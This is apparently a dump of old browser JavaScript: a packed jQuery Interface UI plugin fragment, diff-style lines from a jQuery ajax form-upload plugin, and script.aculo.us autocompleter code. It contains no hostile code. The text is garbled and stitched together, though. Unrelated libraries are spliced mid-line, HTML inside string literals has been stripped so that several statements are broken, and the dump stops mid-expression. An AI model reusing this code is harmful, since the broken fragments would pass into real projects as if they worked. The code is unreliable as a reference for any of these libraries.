40:A.X.4s(B.3H,[0,B.3H.D.gy||1]);1n}},4s:C(a,b){if(!a.D){G}a.D.1w=A.1U(A.12.3a(a),A.12.2f(a));a.D.22={x:R(A.E(a,\'M\'))||0,y:R(A.E(a,\'O\'))||0};a.D.49=A.E(a,\'T\');if(a.D.49!=\'2i\'&&a.D.49!=\'1J\'){a.Y.T=\'2i\'}A.X.ah(a);A.2Q.ad(a);dx=R(b[0])||0;dy=R(b[1])||0;2n=a.D.22.x+dx;2j=a.D.22.y+dy;if(a.D.2C){57=A.X.a9.1x(a,[2n,2j,dx,dy]);if(57.1F==6E){dx=57.dx;dy=57.dy}2n=a.D.22.x+dx;2j=a.D.22.y+dy}57=A.X.ae.1x(a,[2n,2j,dx,dy]);if(57&&57.1F==6E){dx=57.dx;dy=57.dy}2n=a.D.22.x+dx;2j=a.D.22.y+dy;if(a.D.4P&&(a.D.3n||a.D.2I)){A.2Q.3n(a,2n,2j)}2n=!a.D.2g||a.D.2g==\'3Z\'?2n:a.D.22.x||0;2j=!a.D.2g||a.D.2g==\'3K\'?2j:a.D.22.y||0;a.Y.M=2n+\'Q\';a.Y.O=2j+\'Q\'},2l:C(o){G B.1y(C(){if(B.bD==14||!o.3r||!A.12||!A.X||!A.1s){G}4Y=A(o.3r,B);if(4Y.1N()==0){G}F b={2e:\'7X\',4P:14,3n:o.3n&&o.3n.1F==2w?o.3n:P,2I:o.2I&&o.2I.1F==2w?o.2I:P,3c:B,1E:o.1E||H};if(o.2C&&R(o.2C)){b.2C=R(o.2C)||1;b.2C=b.2C>0?b.2C:1}if(4Y.1N()==1)4Y.6r(b);L{A(4Y.I(0)).6r(b);b.3c=P;4Y.6r(b)}4Y.70(A.2Q.d3);4Y.1m(\'aT\',A.2Q.aT++);B.bD=14;B.4g={};B.4g.ec=b.ec;B.4g.2C=b.2C;B.4g.69=4Y;B.4g.bB=o.bB?14:H;by=B;by.4g.69.1y(C(a){B.bA=a;B.92=by});if(o.5f&&o.5f.1F==6h){1V(i=o.5f.1b-1;i>=0;i--){if(o.5f[i].1F==6h&&o.5f[i].1b==2){el=B.4g.69.I(i);if(el.4D){A.2Q.4s(el,o.5f[i])}}}}})}};A.fn.1U({jc:A.2Q.2l,jb:A.2Q.ew,ja:A.2Q.I});A.2p={56:[],ea:C(){B.4W();1d=B.2S;id=A.1m(1d,\'id\');if(A.2p.56[id]!=P){1P.5h(A.2p.56[id])}1u=1d.J.3d+1;if(1d.J.1R.1b<1u){1u=1}1R=A(\'3O\',1d.J.4O);1d.J.3d=1u;if(1R.1N()>0){1R.6d(1d.J.3F,A.2p.7J)}},di:C(){B.4W();1d=B.2S;id=A.1m(1d,\'id\');if(A.2p.56[id]!=P){1P.5h(A.2p.56[id])}1u=1d.J.3d-1;1R=A(\'3O\',1d.J.4O);if(1u<1){1u=1d.J.1R.1b}1d.J.3d=1u;if(1R.1N()>0){1R.6d(1d.J.3F,A.2p.7J)}},2A:C(c){1d=1c.7o(c);if(1d.J.63){1u=1d.J.3d;6k(1u==1d.J.3d){1u=1+R(Z.63()*1d.J.1R.1b)}}L{1u=1d.J.3d+1;if(1d.J.1R.1b<1u){1u=1}}1R=A(\'3O\',1d.J.4O);1d.J.3d=1u;if(1R.1N()>0){1R.6d(1d.J.3F,A.2p.7J)}},go:C(o){F a;if(o&&o.1F==6E){if(o.21){a=1c.7o(o.21.1d);5v=1P.j8.2U.6W("#");o.21.5J=P;if(5v.1b==2){1u=R(5v[1]);1S=5v[1].48(1u,\'\');if(A.1m(a,\'id\')!=1S){1u=1}}L{1u=1}}if(o.84){o.84.4W();a=o.84.2S.2S;id=A.1m(a,\'id\');if(A.2p.56[id]!=P){1P.5h(A.2p.56[id])}5v=o.84.2U.6W("#");1u=R(5v[1]);1S=5v[1].48(1u,\'\');if(A.1m(a,\'id\')!=1S){1u=1}}if(a.J.1R.1b<1u||1u<1){1u=1}a.J.3d=1u;4t=A.12.2f(a);e4=A.12.9y(a);e3=A.12.6b(a);if(a.J.3e){a.J.3e.o.E(\'11\',\'1k\')}if(a.J.3b){a.J.3b.o.E(\'11\',\'1k\')}if(a.J.21){y=R(e4.t)+R(e3.t);if(a.J.1Q){if(a.J.1Q.4J==\'O\'){y+=a.J.1Q.45.hb}L{4t.h-=a.J.1Q.45.hb}}if(a.J.2o){if(a.J.2o&&a.J.2o.5V==\'O\'){y+=a.J.2o.45.hb}L{4t.h-=a.J.2o.45.hb}}if(!a.J.bu){a.J.e1=o.21?o.21.S:(R(a.J.21.E(\'S\'))||0);a.J.bu=o.21?o.21.V:(R(a.J.21.E(\'V\'))||0)}a.J.21.E(\'O\',y+(4t.h-a.J.e1)/2+\'Q\');a.J.21.E(\'M\',(4t.1D-a.J.bu)/2+\'Q\');a.J.21.E(\'11\',\'2v\')}1R=A(\'3O\',a.J.4O);if(1R.1N()>0){1R.6d(a.J.3F,A.2p.7J)}L{9w=A(\'a\',a.J.1Q.o).I(1u-1);A(9w).2H(a.J.1Q.5s);F b=W 8M();b.1d=A.1m(a,\'id\');b.1u=1u-1;b.2E=a.J.1R[a.J.3d-1].2E;if(b.1T){b.5J=P;A.2p.11.1x(b)}L{b.5J=A.2p.11}if(a.J.2o){a.J.2o.o.3i(a.J.1R[1u-1].5W)}}}},7J:C(){1d=B.2S.2S;1d.J.4O.E(\'11\',\'1k\');if(1d.J.1Q.5s){9w=A(\'a\',1d.J.1Q.o).3S(1d.J.1Q.5s).I(1d.J.3d-1);A(9w).2H(1d.J.1Q.5s)}F a=W 8M();a.1d=A.1m(1d,\'id\');a.1u=1d.J.3d-1;a.2E=1d.J.1R[1d.J.3d-1].2E;if(a.1T){a.5J=P;A.2p.11.1x(a)}L{a.5J=A.2p.11}if(1d.J.2o){1d.J.2o.o.3i(1d.J.1R[1d.J.3d-1].5W)}},11:C(){1d=1c.7o(B.1d);if(1d.J.3e){1d.J.3e.o.E(\'11\',\'1k\')}if(1d.J.3b){1d.J.3b.o.E(\'11\',\'1k\')}4t=A.12.2f(1d);y=0;if(1d.J.1Q){if(1d.J.1Q.4J==\'O\'){y+=1d.J.1Q.45.hb}L{4t.h-=1d.J.1Q.45.hb}}if(1d.J.2o){if(1d.J.2o&&1d.J.2o.5V==\'O\'){y+=1d.J.2o.45.hb}L{4t.h-=1d.J.2o.45.hb}}j4=A(\'.bt\',1d);y=y+(4t.h-B.S)/2;x=(4t.1D-B.V)/2;1d.J.4O.E(\'O\',y+\'Q\').E(\'M\',x+\'Q\').3i(\'<3O 2E="\'+B.2E+\'" />\');1d.J.4O.6U(1d.J.3F);3b=1d.J.3d+1;if(3b>1d.J.1R.1b){3b=1}3e=1d.J.3d-1;if(3e<1){3e=1d.J.1R.1b}1d.J.3b.o.E(\'11\',\'2v\').E(\'O\',y+\'Q\').E(\'M\',x+2*B.V/3+\'Q\').E(\'V\',B.V/3+\'Q\').E(\'S\',B.S+\'Q\').1m(\'3T\',1d.J.1R[3b-1].5W);1d.J.3b.o.I(0).2U=\'#\'+3b+A.1m(1d,\'id\');1d.J.3e.o.E(\'11\',\'2v\').E(\'O\',y+\'Q\').E(\'M\',x+\'Q\').E(\'V\',B.V/3+\'Q\').E(\'S\',B.S+\'Q\').1m(\'3T\',1d.J.1R[3e-1].5W);1d.J.3e.o.I(0).2U=\'#\'+3e+A.1m(1d,\'id\')},2l:C(o){if(!o||!o.2q||A.2p.56[o.2q])G;F a=A(\'#\'+o.2q);F c=a.I(0);if(c.Y.T!=\'1J\'&&c.Y.T!=\'2i\'){c.Y.T=\'2i\'}c.Y.2N=\'2B\';if(a.1N()==0)G;c.J={};c.J.1R=o.1R?o.1R:[];c.J.63=o.63&&o.63==14||H;7T=c.dj(\'j3\');1V(i=0;i<7T.1b;i++){6e=c.J.1R.1b;c.J.1R[6e]={2E:7T[i].2E,5W:7T[i].3T||7T[i].j2||\'\'}}if(c.J.1R.1b==0){G}c.J.49=A.1U(A.12.3a(c),A.12.2f(c));c.J.bp=A.12.9y(c);c.J.bo=A.12.6b(c);t=R(c.J.bp.t)+R(c.J.bo.t);b=R(c.J.bp.b)+R(c.J.bo.b);A(\'3O\',c).9U();c.J.3F=o.3F?o.3F:ch;if(o.4J||o.82||o.5s){c.J.1Q={};a.1L(\'<1W 68="dZ">\');c.J.1Q.o=A(\'.dZ\',c);if(o.82){c.J.1Q.82=o.82;c.J.1Q.o.2H(o.82)}if(o.5s){c.J.1Q.5s=o.5s}c.J.1Q.o.E(\'T\',\'1J\').E(\'V\',c.J.49.w+\'Q\');if(o.4J&&o.4J==\'O\'){c.J.1Q.4J=\'O\';c.J.1Q.o.E(\'O\',t+\'Q\')}L{c.J.1Q.4J=\'4e\';c.J.1Q.o.E(\'4e\',b+\'Q\')}c.J.1Q.9v=o.9v?o.9v:\' \';1V(F i=0;i\'+6e+\'\'+(6e!=c.J.1R.1b?c.J.1Q.9v:\'\'))}A(\'a\',c.J.1Q.o).1C(\'4U\',C(){A.2p.go({84:B})});c.J.1Q.45=A.12.2f(c.J.1Q.o.I(0))}if(o.5V||o.81){c.J.2o={};a.1L(\'<1W 68="dW">&6G;\');c.J.2o.o=A(\'.dW\',c);if(o.81){c.J.2o.81=o.81;c.J.2o.o.2H(o.81)}c.J.2o.o.E(\'T\',\'1J\').E(\'V\',c.J.49.w+\'Q\');if(o.5V&&o.5V==\'O\'){c.J.2o.5V=\'O\';c.J.2o.o.E(\'O\',(c.J.1Q&&c.J.1Q.4J==\'O\'?c.J.1Q.45.hb+t:t)+\'Q\')}L{c.J.2o.5V=\'4e\';c.J.2o.o.E(\'4e\',(c.J.1Q&&c.J.1Q.4J==\'4e\'?c.J.1Q.45.hb+b:b)+\'Q\')}c.J.2o.45=A.12.2f(c.J.2o.o.I(0))}if(o.9j){c.J.3b={9j:o.9j};a.1L(\'&6G;\');c.J.3b.o=A(\'.dV\',c);c.J.3b.o.E(\'T\',\'1J\').E(\'11\',\'1k\').E(\'2N\',\'2B\').E(\'4a\',\'dU\').2H(c.J.3b.9j);c.J.3b.o.1C(\'4U\',A.2p.ea)}if(o.9t){c.J.3e={9t:o.9t};a.1L(\'&6G;\');c.J.3e.o=A(\'.dS\',c);c.J.3e.o.E(\'T\',\'1J\').E(\'11\',\'1k\').E(\'2N\',\'2B\').E(\'4a\',\'dU\').2H(c.J.3e.9t);c.J.3e.o.1C(\'4U\',A.2p.di)}a.aJ(\'<1W 68="bt">\');c.J.4O=A(\'.bt\',c);c.J.4O.E(\'T\',\'1J\').E(\'O\',\'2G\').E(\'M\',\'2G\').E(\'11\',\'1k\');if(o.21){a.aJ(\'<1W 68="dz" Y="11: 1k;"><3O 2E="\'+o.21+\'" />\');c.J.21=A(\'.dz\',c);c.J.21.E(\'T\',\'1J\');F d=W 8M();d.1d=o.2q;d.2E=o.21;if(d.1T){d.5J=P;A.2p.go({21:d})}L{d.5J=C(){A.2p.go({21:B})}}}L{A.2p.go({2q:c})}if(o.ba){dQ=R(o.ba)*8V}A.2p.56[o.2q]=o.ba?1P.5Y(\'A.2p.2A(\\\'\'+o.2q+\'\\\')\',dQ):P}};A.1d=A.2p.2l;A.1p={73:[],54:{},18:H,6X:P,2b:C(){if(A.X.1g==P){G}F a,3s,c,cs;A.1p.18.I(0).2Z=A.X.1g.D.5z;a=A.1p.18.I(0).Y;a.11=\'2v\';A.1p.18.1w=A.1U(A.12.3a(A.1p.18.I(0)),A.12.2f(A.1p.18.I(0)));a.V=A.X.1g.D.1w.1D+\'Q\';a.S=A.X.1g.D.1w.hb+\'Q\';3s=A.12.b2(A.X.1g);a.4M=3s.t;a.53=3s.r;a.4L=3s.b;a.4K=3s.l;if(A.X.1g.D.3L==14){c=A(A.X.1g).cA(14).I(0);cs=c.Y;cs.4M=\'2G\';cs.53=\'2G\';cs.4L=\'2G\';cs.4K=\'2G\';cs.11=\'2v\';A.1p.18.58().1L(c)}A(A.X.1g).dO(A.1p.18.I(0));A.X.1g.Y.11=\'1k\'},c7:C(e){if(!e.D.3I&&A.1s.4T.bC){if(e.D.3C)e.D.3C.1x(1g);A(e).E(\'T\',e.D.av||e.D.49);A(e).8j();A(A.1s.4T).dN(e)}A.1p.18.3S(e.D.5z).3i(\'&6G;\');A.1p.6X=P;F a=A.1p.18.I(0).Y;a.11=\'1k\';A.1p.18.dO(e);if(e.D.fx>0){A(e).6U(e.D.fx)}A(\'23\').1L(A.1p.18.I(0));F b=[];F c=H;1V(F i=0;i0){c(b)}},8n:C(e,o){if(!A.X.1g)G;F a=H;F i=0;if(e.1f.el.1N()>0){1V(i=e.1f.el.1N();i>0;i--){if(e.1f.el.I(i-1)!=A.X.1g){if(!e.5t.bb){if((e.1f.el.I(i-1).1I.y+e.1f.el.I(i-1).1I.hb/2)>A.X.1g.D.2j){a=e.1f.el.I(i-1)}L{1n}}L{if((e.1f.el.I(i-1).1I.x+e.1f.el.I(i-1).1I.1D/2)>A.X.1g.D.2n&&(e.1f.el.I(i-1).1I.y+e.1f.el.I(i-1).1I.hb/2)>A.X.1g.D.2j){a=e.1f.el.I(i-1)}}}}}if(a&&A.1p.6X!=a){A.1p.6X=a;A(a).iT(A.1p.18.I(0))}L if(!a&&(A.1p.6X!=P||A.1p.18.I(0).2S!=e)){A.1p.6X=P;A(e).1L(A.1p.18.I(0))}A.1p.18.I(0).Y.11=\'2v\'},bM:C(e){if(A.X.1g==P){G}e.1f.el.1y(C(){B.1I=A.1U(A.12.6w(B),A.12.6x(B))})},8g:C(s){F i;F h=\'\';F o={};if(s){if(A.1p.54[s]){o[s]=[];A(\'#\'+s+\' .\'+A.1p.54[s]).1y(C(){if(h.1b>0){h+=\'&\'}h+=s+\'[]=\'+A.1m(B,\'id\');o[s][o[s].1b]=A.1m(B,\'id\')})}L{1V(a in s){if(A.1p.54[s[a]]){o[s[a]]=[];A(\'#\'+s[a]+\' .\'+A.1p.54[s[a]]).1y(C(){if(h.1b>0){h+=\'&\'}h+=s[a]+\'[]=\'+A.1m(B,\'id\');o[s[a]][o[s[a]].1b]=A.1m(B,\'id\')})}}}}L{1V(i in A.1p.54){o[i]=[];A(\'#\'+i+\' .\'+A.1p.54[i]).1y(C(){if(h.1b>0){h+=\'&\'}h+=i+\'[]=\'+A.1m(B,\'id\');o[i][o[i].1b]=A.1m(B,\'id\')})}}G{6A:h,o:o}},dL:C(e){if(!e.ci){G}G B.1y(C(){if(!B.5t||!A(e).is(\'.\'+B.5t.3r))A(e).2H(B.5t.3r);A(e).6r(B.5t.D)})},4v:C(){G B.1y(C(){A(\'.\'+B.5t.3r).8j();A(B).ei();B.5t=P;B.dK=P})},2l:C(o){if(o.3r&&A.12&&A.X&&A.1s){if(!A.1p.18){A(\'23\',1c).1L(\'<1W id="dJ">&6G;\');A.1p.18=A(\'#dJ\');A.1p.18.I(0).Y.11=\'1k\'}B.ee({3r:o.3r,9F:o.9F?o.9F:H,8X:o.8X?o.8X:H,4G:o.4G?o.4G:H,76:o.76||o.ev,6C:o.6C||o.er,bC:14,2I:o.2I||o.iR,fx:o.fx?o.fx:H,3L:o.3L?14:H,5T:o.5T?o.5T:\'9S\'});G B.1y(C(){F a={5B:o.5B?14:H,dI:5P,1E:o.1E?2c(o.1E):H,5z:o.4G?o.4G:H,fx:o.fx?o.fx:H,3I:14,3L:o.3L?14:H,3c:o.3c?o.3c:P,2e:o.2e?o.2e:P,4c:o.4c&&o.4c.1F==2w?o.4c:H,4h:o.4h&&o.4h.1F==2w?o.4h:H,3C:o.3C&&o.3C.1F==2w?o.3C:H,2g:/3K|3Z/.3M(o.2g)?o.2g:H,5D:o.5D?R(o.5D)||0:H,2M:o.2M?o.2M:H};A(\'.\'+o.3r,B).6r(a);B.dK=14;B.5t={3r:o.3r,5B:o.5B?14:H,dI:5P,1E:o.1E?2c(o.1E):H,5z:o.4G?o.4G:H,fx:o.fx?o.fx:H,3I:14,3L:o.3L?14:H,3c:o.3c?o.3c:P,2e:o.2e?o.2e:P,bb:o.bb?14:H,D:a}})}}};A.fn.1U({iP:A.1p.2l,dN:A.1p.dL,iO:A.1p.4v});A.iN=A.1p.8g;A.2k={62:P,9o:H,9p:P,6a:C(e){A.2k.9o=14;A.2k.1S(e,B,14)},bk:C(e){if(A.2k.62!=B)G;A.2k.9o=H;A.2k.2x(e,B)},1S:C(e,a,b){if(A.2k.62!=P)G;if(!a){a=B}A.2k.62=a;1I=A.1U(A.12.3a(a),A.12.2f(a));7U=A(a);3T=7U.1m(\'3T\');2U=7U.1m(\'2U\');if(3T){A.2k.9p=3T;7U.1m(\'3T\',\'\');A(\'#dE\').3i(3T);if(2U)A(\'#bj\').3i(2U.48(\'iI://\',\'\'));L A(\'#bj\').3i(\'\');18=A(\'#7S\');if(a.4m.2Z){18.I(0).2Z=a.4m.2Z}L{18.I(0).2Z=\'\'}bi=A.12.2f(18.I(0));dD=b&&a.4m.T==\'bn\'?\'4e\':a.4m.T;2X(dD){19\'O\':2j=1I.y-bi.hb;2n=1I.x;1n;19\'M\':2j=1I.y;2n=1I.x-bi.1D;1n;19\'2D\':2j=1I.y;2n=1I.x+1I.1D;1n;19\'bn\':A(\'23\').1C(\'3t\',A.2k.3t);1A=A.12.3W(e);2j=1A.y+15;2n=1A.x+15;1n;8T:2j=1I.y+1I.hb;2n=1I.x;1n}18.E({O:2j+\'Q\',M:2n+\'Q\'});if(a.4m.4w==H){18.1S()}L{18.6U(a.4m.4w)}if(a.4m.2K)a.4m.2K.1x(a);7U.1C(\'86\',A.2k.2x).1C(\'4W\',A.2k.bk)}},3t:C(e){if(A.2k.62==P){A(\'23\').3h(\'3t\',A.2k.3t);G}1A=A.12.3W(e);A(\'#7S\').E({O:1A.y+15+\'Q\',M:1A.x+15+\'Q\'})},2x:C(e,a){if(!a){a=B}if(A.2k.9o!=14&&A.2k.62==a){A.2k.62=P;A(\'#7S\').6d(1);A(a).1m(\'3T\',A.2k.9p).3h(\'86\',A.2k.2x).3h(\'4W\',A.2k.bk);if(a.4m.2V)a.4m.2V.1x(a);A.2k.9p=P}},2l:C(b){if(!A.2k.18){A(\'23\').1L(\'<1W id="7S"><1W id="dE"><1W id="bj">\');A(\'#7S\').E({T:\'1J\',3j:5P,11:\'1k\'});A.2k.18=14}G B.1y(C(){if(A.1m(B,\'3T\')){B.4m={T:/O|4e|M|2D|bn/.3M(b.T)?b.T:\'4e\',2Z:b.2Z?b.2Z:H,4w:b.4w?b.4w:H,2K:b.2K&&b.2K.1F==2w?b.2K:H,2V:b.2V&&b.2V.1F==2w?b.2V:H};F a=A(B);a.1C(\'9r\',A.2k.1S);a.1C(\'6a\',A.2k.6a)}})}};A.fn.iH=A.2k.2l;A.7O={bl:C(e){6K=e.6S||e.6R||-1;if(6K==9){if(1P.3N){1P.3N.b6=14;1P.3N.b5=H}L{e.9b();e.99()}if(B.9q){1c.64.dv().3D="\\t";B.dB=C(){B.6a();B.dB=P}}L if(B.9m){2b=B.88;3m=B.dA;B.2m=B.2m.iG(0,2b)+"\\t"+B.2m.iF(3m);B.9m(2b+1,2b+1);B.6a()}G H}},4v:C(){G B.1y(C(){if(B.6V&&B.6V==14){A(B).3h(\'70\',A.7O.bl);B.6V=H}})},2l:C(){G B.1y(C(){if(B.4D==\'bs\'&&(!B.6V||B.6V==H)){A(B).1C(\'70\',A.7O.bl);B.6V=14}})}};A.fn.1U({iD:A.7O.2l,iC:A.7O.4v});A.12={3a:C(e){F x=0;F y=0;F a=e.Y;F b=H;if(A(e).E(\'11\')==\'1k\'){F c=a.2W;F d=a.T;b=14;a.2W=\'2B\';a.11=\'2v\';a.T=\'1J\'}F f=e;6k(f){x+=f.7Y+(f.4u&&!A.2R.6l?R(f.4u.4y)||0:0);y+=f.7t+(f.4u&&!A.2R.6l?R(f.4u.4x)||0:0);f=f.dY}f=e;6k(f&&f.4D&&f.4D.5u()!=\'23\'){x-=f.2P||0;y-=f.2T||0;f=f.2S}if(b==14){a.11=\'1k\';a.T=d;a.2W=c}G{x:x,y:y}},6x:C(a){F x=0,y=0;6k(a){x+=a.7Y||0;y+=a.7t||0;a=a.dY}G{x:x,y:y}},2f:C(e){F w=A.E(e,\'V\');F h=A.E(e,\'S\');F a=0;F b=0;F c=e.Y;if(A(e).E(\'11\')!=\'1k\'){a=e.3P;b=e.5r}L{F d=c.2W;F f=c.T;c.2W=\'2B\';c.11=\'2v\';c.T=\'1J\';a=e.3P;b=e.5r;c.11=\'1k\';c.T=f;c.2W=d}G{w:w,h:h,1D:a,hb:b}},6w:C(a){G{1D:a.3P||0,hb:a.5r||0}},a5:C(e){F h,w,de;if(e){w=e.83;h=e.7P}L{de=1c.4A;w=1P.bg||9z.bg||(de&&de.83)||1c.23.83;h=1P.bf||9z.bf||(de&&de.7P)||1c.23.7P}G{w:w,h:h}},5O:C(e){F t=0,l=0,w=0,h=0,iw=0,ih=0;if(e&&e.98.5u()!=\'23\'){t=e.2T;l=e.2P;w=e.be;h=e.bd;iw=0;ih=0}L{if(1c.4A){t=1c.4A.2T;l=1c.4A.2P;w=1c.4A.be;h=1c.4A.bd}L if(1c.23){t=1c.23.2T;l=1c.23.2P;w=1c.23.be;h=1c.23.bd}iw=9z.bg||1c.4A.83||1c.23.83||0;ih=9z.bf||1c.4A.7P||1c.23.7P||0}G{t:t,l:l,w:w,h:h,iw:iw,ih:ih}},b2:C(e,a){F c=A(e);F t=c.E(\'4M\')||\'\';F r=c.E(\'53\')||\'\';F b=c.E(\'4L\')||\'\';F l=c.E(\'4K\')||\'\';if(a)G{t:R(t)||0,r:R(r)||0,b:R(b)||0,l:R(l)};L G{t:t,r:r,b:b,l:l}},9y:C(e,a){F c=A(e);F t=c.E(\'5b\')||\'\';F r=c.E(\'5g\')||\'\';F b=c.E(\'4Q\')||\'\';F l=c.E(\'4F\')||\'\';if(a)G{t:R(t)||0,r:R(r)||0,b:R(b)||0,l:R(l)};L G{t:t,r:r,b:b,l:l}},6b:C(e,a){F c=A(e);F t=c.E(\'4x\')||\'\';F r=c.E(\'5i\')||\'\';F b=c.E(\'5d\')||\'\';F l=c.E(\'4y\')||\'\';if(a)G{t:R(t)||0,r:R(r)||0,b:R(b)||0,l:R(l)||0};L G{t:t,r:r,b:b,l:l}},3W:C(a){F x=a.iB||(a.iz+(1c.4A.2P||1c.23.2P))||0;F y=a.iy||(a.ix+(1c.4A.2T||1c.23.2T))||0;G{x:x,y:y}},bH:C(a,b){b(a);a=a.6M;6k(a){A.12.bH(a,b);a=a.iv}},ji:C(c){A.12.bH(c,C(a){1V(F b in a){if(28 a[b]===\'C\'){a[b]=P}}})},ir:C(a,b){F c=A.12.5O();F d=A.12.2f(a);if(!b||b==\'3K\')A(a).E({O:c.t+((Z.3g(c.h,c.ih)-c.t-d.hb)/2)+\'Q\'});if(!b||b==\'3Z\')A(a).E({M:c.l+((Z.3g(c.w,c.iw)-c.l-d.1D)/2)+\'Q\'})},iq:C(a,b){F c=A(\'3O[@2E*="7q"]\',a||1c),7q;c.1y(C(){7q=B.2E;B.2E=b;B.Y.4X="9x:9C.9E.ip(2E=\'"+7q+"\')"})}};[].3o||(6h.jn.3o=C(v,n){n=(n==P)?0:n;F m=B.1b;1V(F i=n;i= 0 ? '&' : '?') + q; + options.data = null; // data is null for 'get' + } + else + options.data = q; // data is the query string for 'post' + + var $form = this, callbacks = []; + if (options.resetForm) callbacks.push(function() { $form.resetForm(); }); + if (options.clearForm) callbacks.push(function() { $form.clearForm(); }); + + // perform a load on the target only if dataType is not provided + if (!options.dataType && options.target) { + var oldSuccess = options.success || function(){}; + callbacks.push(function(data) { + if (this.evalScripts) + $(options.target).attr("innerHTML", data).evalScripts().each(oldSuccess, arguments); + else // jQuery v1.1.4 + $(options.target).html(data).each(oldSuccess, arguments); + }); + } + else if (options.success) + callbacks.push(options.success); + + options.success = function(data, status) { + for (var i=0, max=callbacks.length; i < max; i++) + callbacks[i](data, status, $form); + }; + + // are there files to upload? + var files = $('input:file', this).fieldValue(); + var found = false; + for (var j=0; j < files.length; j++) + if (files[j]) + found = true; + + // options.iframe allows user to force iframe mode + if (options.iframe || found) { + // hack to fix Safari hang (thanks to Tim Molendijk for this) + // see: http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d + if ($.browser.safari && options.closeKeepAlive) + $.get(options.closeKeepAlive, fileUpload); + else + fileUpload(); + } + else + $.ajax(options); + + // fire 'notify' event + $.event.trigger('form.submit.notify', [this, options]); + return this; + + + // private function for handling file uploads (hat tip to YAHOO!) + function fileUpload() { + var form = $form[0]; + var opts = $.extend({}, $.ajaxSettings, options); + + var id = 'jqFormIO' + $.fn.ajaxSubmit.counter++; + var $io = $(''); + this.iefix = $(this.update.id+'_iefix'); + } + if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50); + }, + + fixIEOverlapping: function() { + Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)}); + this.iefix.style.zIndex = 1; + this.update.style.zIndex = 2; + Element.show(this.iefix); + }, + + hide: function() { + this.stopIndicator(); + if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update); + if(this.iefix) Element.hide(this.iefix); + }, + + startIndicator: function() { + if(this.options.indicator) Element.show(this.options.indicator); + }, + + stopIndicator: function() { + if(this.options.indicator) Element.hide(this.options.indicator); + }, + + onKeyPress: function(event) { + if(this.active) + switch(event.keyCode) { + case Event.KEY_TAB: + case Event.KEY_RETURN: + this.selectEntry(); + Event.stop(event); + case Event.KEY_ESC: + this.hide(); + this.active = false; + Event.stop(event); + return; + case Event.KEY_LEFT: + case Event.KEY_RIGHT: + return; + case Event.KEY_UP: + this.markPrevious(); + this.render(); + if(Prototype.Browser.WebKit) Event.stop(event); + return; + case Event.KEY_DOWN: + this.markNext(); + this.render(); + if(Prototype.Browser.WebKit) Event.stop(event); + return; + } + else + if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN || + (Prototype.Browser.WebKit > 0 && event.keyCode == 0)) return; + + this.changed = true; + this.hasFocus = true; + + if(this.observer) clearTimeout(this.observer); + this.observer = + setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); + }, + + activate: function() { + this.changed = false; + this.hasFocus = true; + this.getUpdatedChoices(); + }, + + onHover: function(event) { + var element = Event.findElement(event, 'LI'); + if(this.index != element.autocompleteIndex) + { + this.index = element.autocompleteIndex; + this.render(); + } + Event.stop(event); + }, + + onClick: function(event) { + var element = Event.findElement(event, 'LI'); + this.index = element.autocompleteIndex; + this.selectEntry(); + this.hide(); + }, + + onBlur: function(event) { + // needed to make click events working + setTimeout(this.hide.bind(this), 250); + this.hasFocus = false; + this.active = false; + }, + + render: function() { + if(this.entryCount > 0) { + for (var i = 0; i < this.entryCount; i++) + this.index==i ? + Element.addClassName(this.getEntry(i),"selected") : + Element.removeClassName(this.getEntry(i),"selected"); + if(this.hasFocus) { + this.show(); + this.active = true; + } + } else { + this.active = false; + this.hide(); + } + }, + + markPrevious: function() { + if(this.index > 0) this.index-- + else this.index = this.entryCount-1; + this.getEntry(this.index).scrollIntoView(true); + }, + + markNext: function() { + if(this.index < this.entryCount-1) this.index++ + else this.index = 0; + this.getEntry(this.index).scrollIntoView(false); + }, + + getEntry: function(index) { + return this.update.firstChild.childNodes[index]; + }, + + getCurrentEntry: function() { + return this.getEntry(this.index); + }, + + selectEntry: function() { + this.active = false; + this.updateElement(this.getCurrentEntry()); + }, + + updateElement: function(selectedElement) { + if (this.options.updateElement) { + this.options.updateElement(selectedElement); + return; + } + var value = ''; + if (this.options.select) { + var nodes = $(selectedElement).select('.' + this.options.select) || []; + if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select); + } else + value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal'); + + var bounds = this.getTokenBounds(); + if (bounds[0] != -1) { + var newValue = this.element.value.substr(0, bounds[0]); + var whitespace = this.element.value.substr(bounds[0]).match(/^\s+/); + if (whitespace) + newValue += whitespace[0]; + this.element.value = newValue + value + this.element.value.substr(bounds[1]); + } else { + this.element.value = value; + } + this.oldElementValue = this.element.value; + this.element.focus(); + + if (this.options.afterUpdateElement) + this.options.afterUpdateElement(this.element, selectedElement); + }, + + updateChoices: function(choices) { + if(!this.changed && this.hasFocus) { + this.update.innerHTML = choices; + Element.cleanWhitespace(this.update); + Element.cleanWhitespace(this.update.down()); + + if(this.update.firstChild && this.update.down().childNodes) { + this.entryCount = + this.update.down().childNodes.length; + for (var i = 0; i < this.entryCount; i++) { + var entry = this.getEntry(i); + entry.autocompleteIndex = i; + this.addObservers(entry); + } + } else { + this.entryCount = 0; + } + + this.stopIndicator(); + this.index = 0; + + if(this.entryCount==1 && this.options.autoSelect) { + this.selectEntry(); + this.hide(); + } else { + this.render(); + } + } + }, + + addObservers: function(element) { + Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this)); + Event.observe(element, "click", this.onClick.bindAsEventListener(this)); + }, + + onObserverEvent: function() { + this.changed = false; + this.tokenBounds = null; + if(this.getToken().length>=this.options.minChars) { + this.getUpdatedChoices(); + } else { + this.active = false; + this.hide(); + } + this.oldElementValue = this.element.value; + }, + + getToken: function() { + var bounds = this.getTokenBounds(); + return this.element.value.substring(bounds[0], bounds[1]).strip(); + }, + + getTokenBounds: function() { + if (null != this.tokenBounds) return this.tokenBounds; + var value = this.element.value; + if (value.strip().empty()) return [-1, 0]; + var diff = arguments.callee.getFirstDifferencePos(value, this.oldElementValue); + var offset = (diff == this.oldElementValue.length ? 1 : 0); + var prevTokenPos = -1, nextTokenPos = value.length; + var tp; + for (var index = 0, l = this.options.tokens.length; index < l; ++index) { + tp = value.lastIndexOf(this.options.tokens[index], diff + offset - 1); + if (tp > prevTokenPos) prevTokenPos = tp; + tp = value.indexOf(this.options.tokens[index], diff + offset); + if (-1 